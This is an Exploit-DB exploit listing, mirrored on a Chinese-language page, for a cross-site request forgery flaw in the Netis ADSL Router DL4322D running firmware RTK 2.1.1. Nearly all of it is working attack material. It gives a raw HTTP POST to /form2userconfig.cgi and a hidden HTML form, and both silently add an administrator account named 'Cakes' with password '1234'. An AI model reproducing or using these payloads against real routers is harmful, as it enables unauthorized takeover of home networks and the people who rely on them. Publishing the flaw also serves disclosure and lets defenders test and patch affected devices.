Netis ADSL Router DL4322D RTK 2.1.1 – Cross-Site Request Forgery (Add Admin)

  • 作者： cakes
    日期： 2018-10-05
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/45532/
  • # Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Request Forgery (Add Admin)
# Author: Cakes
# Discovery Date: 2018-10-01
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A
 
# Description
# Due to improper session management an attacker is able to add a administrator account
# without providing any authentication credentials.

# PoC 1
POST /form2userconfig.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

username=Cakes&privilege=2&newpass=1234&confpass=1234&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send

# PoC 2
<html>
<body>
<form action="http://Target/form2userconfig.cgi" method="POST">
<input type="hidden" name="username" value="Cakes" />
<input type="hidden" name="privilege" value="2" />
<input type="hidden" name="newpass" value="1234" />
<input type="hidden" name="confpass" value="1234" />
<input type="hidden" name="adduser" value="Add" />
<input type="hidden" name="hiddenpass" value="" />
<input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>